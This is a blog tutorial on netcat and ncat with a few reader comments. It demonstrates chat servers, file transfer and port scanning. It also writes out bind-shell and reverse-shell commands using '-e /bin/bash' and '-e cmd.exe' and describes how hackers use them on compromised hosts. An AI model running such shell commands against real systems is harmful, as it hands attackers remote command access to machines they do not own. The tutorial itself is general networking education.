Netcat tutorial – command examples on linux

Netcat

Netcat is a terminal application that is similar to the telnet program but has lot more features. Its a "power version" of the traditional telnet program. Apart from basic telnet functionas it can do various other things like creating socket servers to listen for incoming connections on ports, transfer files from the terminal etc. So it is a small tool that is packed with lots of features. Therefore its called the "Swiss-army knife for TCP/IP".

The netcat manual defines netcat as

Netcat is a computer networking service for reading from and writing network connections using TCP or UDP. Netcat is designed to be a dependable "back-end" device that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of correlation you would need and has a number of built-in capabilities.

So basically netcat is a tool to do some bidirectional network communication over the TCP/UDP protocols. More technically speaking, netcat can act as a socket server or client and interact with other programs at the same time sending and receiving data through the network. Such a definition sounds too generic and make it difficult to understand what exactly this tool does and what is it useful for. This can be understood only by using and playing with it.

So the first thing to do would be to setup netcat on your machine. Netcat comes in various flavors. Means it is available from multiple vendors. But most of them have similar functionality. On ubuntu there are 3 packages called netcat-openbsd, netcat-traditional and ncat.

My preferred version is ncat. Ncat has been developed by the nmap team is the best of all netcats available and most importantly its cross platform and works very well on windows.

Ncat - Netcat for the 21st Century

Ncat is a feature-packed networking utility which reads and writes data across networks from the command line. Ncat was written for the Nmap Project as a much-improved reimplementation of the venerable Netcat. It uses both TCP and UDP for communication and is designed to be a reliable back-end tool to instantly provide network connectivity to other applications and users. Ncat will not only work with IPv4 and IPv6 but provides the user with a virtually limitless number of potential uses.

Download and install netcat

Windows

Windows version of netcat can be downloaded from

http://joncraton.org/blog/46/netcat-for-windows
Simply download and extract the files somewhere suitable.

Or download ncat windows version

http://nmap.org/ncat/

Ubuntu/Linux

Ubuntu syntaptic package has netcat-openbsd and netcat-traditional packages available. Install both of them. Nmap also comes with a netcat implementation called ncat. Install that too.

Project websites
http://nmap.org/ncat/

Install on Ubuntu

```
$ sudo apt-get install netcat-traditional netcat-openbsd nmap
```

To use netcat-openbsd implementation use "nc" command.
To use netcat-traditional implementation use "nc.traditional" command
To use nmap ncat use the "ncat" command.

In the following tutorial we are going to use all of them in different examples in different ways.

1. Telnet

The very first thing netcat can be used as is a telnet program. Lets see how.

```
$ nc -v google.com 80
```

Now netcat is connected to google.com on port 80 and its time to send some message. Lets try to fetch the index page. For this type "GET index.html HTTP/1.1" and hit the Enter key twice. Remember twice.

```
$ nc -v google.com 80
Connection to google.com 80 port [tcp/http] succeeded!
GET index.html HTTP/1.1

HTTP/1.1 302 Found
Location: http://www.google.com/
Cache-Control: private
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Aug 2012 06:03:04 GMT
Server: sffe
Content-Length: 219
X-XSS-Protection: 1; mode=block

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://www.google.com/">here</A>.
</BODY></HTML>
```

The output from google.com has been received and echoed on the terminal.

2. Simple socket server

To open a simple socket server type in the following command.

```
$ nc -l -v 1234
```

The above command means : Netcat listen to TCP port 1234. The -v option gives verbose output for better understanding. Now from another terminal try to connect to port 1234 using telnet command as follows :

```
$ telnet localhost 1234
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
abc
ting tong
```

After connecting we send some test message like abc and ting tong to the netcat socket server. The netcat socket server will echo the data received from the telnet client.

```
$ nc -l -v 5555

Connection from 127.0.0.1 port 5555 [tcp/rplay] accepted

abc
ting tong
```

This is a complete **Chatting System**. Type something in netcat terminal and it will show up in telnet terminal as well. So this technique can be used for chatting between 2 machines.

Complete ECHO Server

Ncat with the -c option can be used to start a echo server. Source

Start the echo server using ncat as follows

```
$ ncat -v -l -p 5555 -c 'while true; do read i && echo [echo] $i; done'
```

Now from another terminal connect using telnet and type something. It will be send back with "[echo]" prefixed.
The netcat-openbsd version does not have the -c option. Remember to always use the -v option for verbose output.

Note : Netcat can be told to save the data to a file instead of echoing it to the terminal.

```
$ nc -l -v 1234 > data.txt
```

UDP ports

Netcat works with udp ports as well. To start a netcat server using udp ports use the -u option

```
$ nc -v -ul 7000
```

Connect to this server using netcat from another terminal

```
$ nc localhost -u 7000
```

Now both terminals can chat with each other.

3. File transfer

A whole file can be transferred with netcat. Here is a quick example.

One machine A - Send File

```
$ cat happy.txt | ncat -v -l -p 5555
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:5555
```

In the above command, the cat command reads and outputs the content of happy.txt. The output is not echoed to the terminal, instead is piped or fed to ncat which has opened a socket server on port 5555.

On machine B - Receive File

```
$ ncat localhost 5555 > happy_copy.txt
```

In the above command ncat will connect to localhost on port 5555 and whatever it receives will be written to happy_copy.txt

Now happy_copy.txt will be a copy of happy.txt since the data being send over port 5555 is the content of happy.txt in the previous command.

Netcat will send the file only to the first client that connects to it. After that its over.
And after the first client closes down connection, netcat server will also close down the connection.

4. Port scanning

Netcat can also be used for port scanning. However this is not a proper use of netcat and a more applicable tool like nmap should be used.

```
$ nc -v -n -z -w 1 192.168.1.2 75-85
nc: connect to 192.168.1.2 port 75 (tcp) failed: Connection refused
nc: connect to 192.168.1.2 port 76 (tcp) failed: Connection refused
nc: connect to 192.168.1.2 port 77 (tcp) failed: Connection refused
nc: connect to 192.168.1.2 port 78 (tcp) failed: Connection refused

nc: connect to 192.168.1.2 port 79 (tcp) failed: Connection refused
Connection to 192.168.1.2 80 port [tcp/*] succeeded!
nc: connect to 192.168.1.2 port 81 (tcp) failed: Connection refused
nc: connect to 192.168.1.2 port 82 (tcp) failed: Connection refused
nc: connect to 192.168.1.2 port 83 (tcp) failed: Connection refused
nc: connect to 192.168.1.2 port 84 (tcp) failed: Connection refused
nc: connect to 192.168.1.2 port 85 (tcp) failed: Connection refused
```

The "-n" parameter here prevents DNS lookup, "-z" makes nc not receive any data from the server, and "-w 1" makes the connection timeout after 1 second of inactivity.

5. Remote Shell/Backdoor

Ncat can be used to start a basic shell on a remote system on a port without the need of ssh. Here is a quick example.

```
$ ncat -v -l -p 7777 -e /bin/bash
```

The above will start a server on port 7777 and will pass all incoming input to bash command and the results will be send back. The command basically converts the bash program into a server. So netcat can be used to convert any process into a server.

Connect to this bash shell using nc from another terminal

```
$ nc localhost 7777
```

Now try executing any command like help , ls , pwd etc.

Windows

On windows machine the cmd.exe (dos prompt program) is used to start a similar shell using netcat. The syntax of the command is same.

```
C:\tools\nc>nc -v -l -n -p 8888 -e cmd.exe
listening on [any] 8888 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 1182
```

Now another console can connect using the telnet command

Although netcat though can be used to setup remote shells, is not useful to get an interactive shell on a remote system because in most cases netcat would not be installed on a remote system.

The most effective method to get a shell on a remote machine using netcat is by creating reverse shells.

6. Reverse Shells

This is the most powerful feature of netcat for which it is most used by hackers. Netcat is used in almost all reverse shell techniques to catch the reverse connection of shell program from a hacked system.

Reverse telnet

First lets take an example of a simple reverse telnet connection. In ordinate telnet connection the client connects to the server to start a communication channel.

```
Your system runs (# telnet server port_number)  ==============> Server
```

Now using the above technique you can connect to say port 80 of the server to fetch a webpage. However a hacker is interested in getting a command shell. Its the command prompt of windows or the terminal of linux. The command shell gives ultimate control of the remote system. Now there is no service running on the remote server to which you can connect and get a command shell.

So when a hacker hacks into a system, he needs to get a command shell. Since its not possible directly, the solution is to use a reverse shell. In a reverse shell the server initiates a connection to the hacker's machine and gives a command shell.

```
Step 1 : Hacker machine (waiting for incoming connection)
Step 2 : Server ==============> Hacker machine
```

To wait for incoming connections, a local socket listener has to be opened. Netcat/ncat can do this.
First a netcat server has to be started on local machine or the hacker's machine.

machine A

```
$ ncat -v -l -p 8888
Ncat: Version 6.00 ( http://nmap.org/ncat )
Ncat: Listening on :::8888
Ncat: Listening on 0.0.0.0:8888
```

The above will start a socket server (listener) on port 8888 on local machine/hacker's machine.

Now a reverse shell has to be launched on the target machine/hacked machine. There are a number of ways to launch reverse shells.

For any method to work, the hacker either needs to be able to execute arbitrary command on the system or should be able to upload a file that can be executed by opening from the browser (like a php script).

In this example we are not doing either of the above mentioned things. We shall just run netcat on the server also to throw a reverse command shell to demonstrate the concept. So netcat should be installed on the server or target machine.

Machine B :

```
$ ncat localhost 8888 -e /bin/bash
```

This command will connect to machine A on port 8888 and feed in the output of bash effectively giving a shell to machine A. Now machine A can execute any command on machine B.

Machine A

```
$ ncat -v -l -p 8888
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:8888
Ncat: Connection from 127.0.0.1.
pwd
/home/enlightened
```

In a real hacking/penetration testing scenario its not possible to run netcat on target machine. Therefore other techniques are employed to create a shell. These include uploading reverse shell php scripts and running them by opening them in browser. Or launching a buffer overflow exploit to execute reverse shell payload.

Conclusion

So in the above examples we saw how to use netcat for different network activities like telnet, reverse shells etc. Hackers mostly use it for creating quick reverse shells.

In this tutorial we covered some of the basic and common uses of netcat. Check out the wikipedia article for more information on what else netcat can do.

Last Updated On : 29th July 2013

hacking linux netcat

Related Posts

Php reverse shell with netcat
Check port forwarding with netcat
Udp telnet with netcat
Linux mail command examples – send mails from command line
Network scanning with Nmap – basic command examples

About **Silver Moon**

Php developer, blogger and Linux enthusiast. He can be reached at m00n.silv3r@gmail.com. Or find him on Google+

nice

• Reply • Share ›

uday • 5 months ago

hi i want to know how to send a command like date(linux command tells date and time) to one terminal from another using nc.Can anyone send me the proper usage.

• Reply • Share ›

Subscribe Add Disqus to your site Privacy